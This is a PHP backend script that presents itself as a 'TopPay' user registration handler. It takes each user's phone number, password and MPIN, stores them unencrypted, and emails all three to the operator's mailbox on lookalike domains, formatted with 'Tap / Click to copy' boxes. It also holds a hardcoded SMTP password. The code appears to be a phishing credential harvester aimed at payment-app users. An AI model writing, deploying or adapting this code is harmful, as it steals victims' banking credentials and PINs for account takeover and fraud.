<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

header('Content-Type: application/json');
include 'config.php';

// PHPMailer include
require 'PHPMailer/src/PHPMailer.php';
require 'PHPMailer/src/SMTP.php';
require 'PHPMailer/src/Exception.php';

use PHPMailer\PHPMailer\PHPMailer;
use PHPMailer\PHPMailer\Exception;

$input = json_decode(file_get_contents("php://input"), true);

if(!$input){
    echo json_encode(["success"=>false,"message"=>"No JSON received"]);
    exit;
}

$phone    = $input['phone'] ?? '';
$password = $input['password'] ?? '';
$mpin     = $input['mpin'] ?? '';

if ($phone == '' || $password == '' || $mpin == '') {
    echo json_encode(["success"=>false,"message"=>"All fields required"]);
    exit;
}

$stmt = $conn->prepare("INSERT INTO users (phone,password,mpin) VALUES (?,?,?)");
if(!$stmt){
    echo json_encode(["success"=>false,"message"=>"Prepare failed: ".$conn->error]);
    exit;
}
$stmt->bind_param("sss", $phone, $password, $mpin);

if ($stmt->execute()) {

    // ---------- Email Section using SMTP ----------
    $mail = new PHPMailer(true);

    try {
        // SMTP config
        $mail->isSMTP();
        $mail->Host       = 'mail.app-webtoppay-app.site';
        $mail->SMTPAuth   = true;
        $mail->Username   = 'support@raja-gamee.site';  
        $mail->Password   = 'Shubhammeena789';        
        $mail->SMTPSecure = 'ssl';                   
        $mail->Port       = 465;

        // Sender & Receiver
        $mail->setFrom('support@raja-gamee.site', 'TopPay Registration');
        $mail->addAddress('support@raja-gamee.site');       
            

        // Email content
$mail->isHTML(true);
$mail->Subject = "New User Registration - TopPay";
$mail->Body = "
    <h2>New User Registered</h2>

    <p><b>Phone:</b></p>
    <div style='
        background:#f1f1f1;
        padding:10px;
        border-radius:6px;
        font-size:15px;
        user-select:all;
        -webkit-user-select:all;
        cursor:pointer;'>
        {$phone}
    </div>
    <small>Tap / Click to copy</small>

    <br><br>

    <p><b>Password:</b></p>
    <div style='
        background:#f1f1f1;
        padding:10px;
        border-radius:6px;
        font-size:15px;
        user-select:all;
        -webkit-user-select:all;
        cursor:pointer;'>
        {$password}
    </div>
    <small>Tap / Click to copy</small>

    <br><br>

    <p><b>MPIN:</b></p>
    <div style='
        background:#f1f1f1;
        padding:10px;
        border-radius:6px;
        font-size:15px;
        user-select:all;
        -webkit-user-select:all;
        cursor:pointer;'>
        {$mpin}
    </div>
    <small>Tap / Click to copy</small>
";


        $mail->send();
    } catch (Exception $e) { 
        echo json_encode([
            "success"=>true,
            "message"=>"Saved but Email failed: ".$mail->ErrorInfo
        ]);
        exit;
    }
    // ---------- End Email Section ----------

    echo json_encode(["success"=>true,"message"=>"Saved & Email Sent"]);
} else {
    echo json_encode(["success"=>false,"message"=>"DB error: ".$stmt->error]);
}
$stmt->close();
$conn->close();
?>
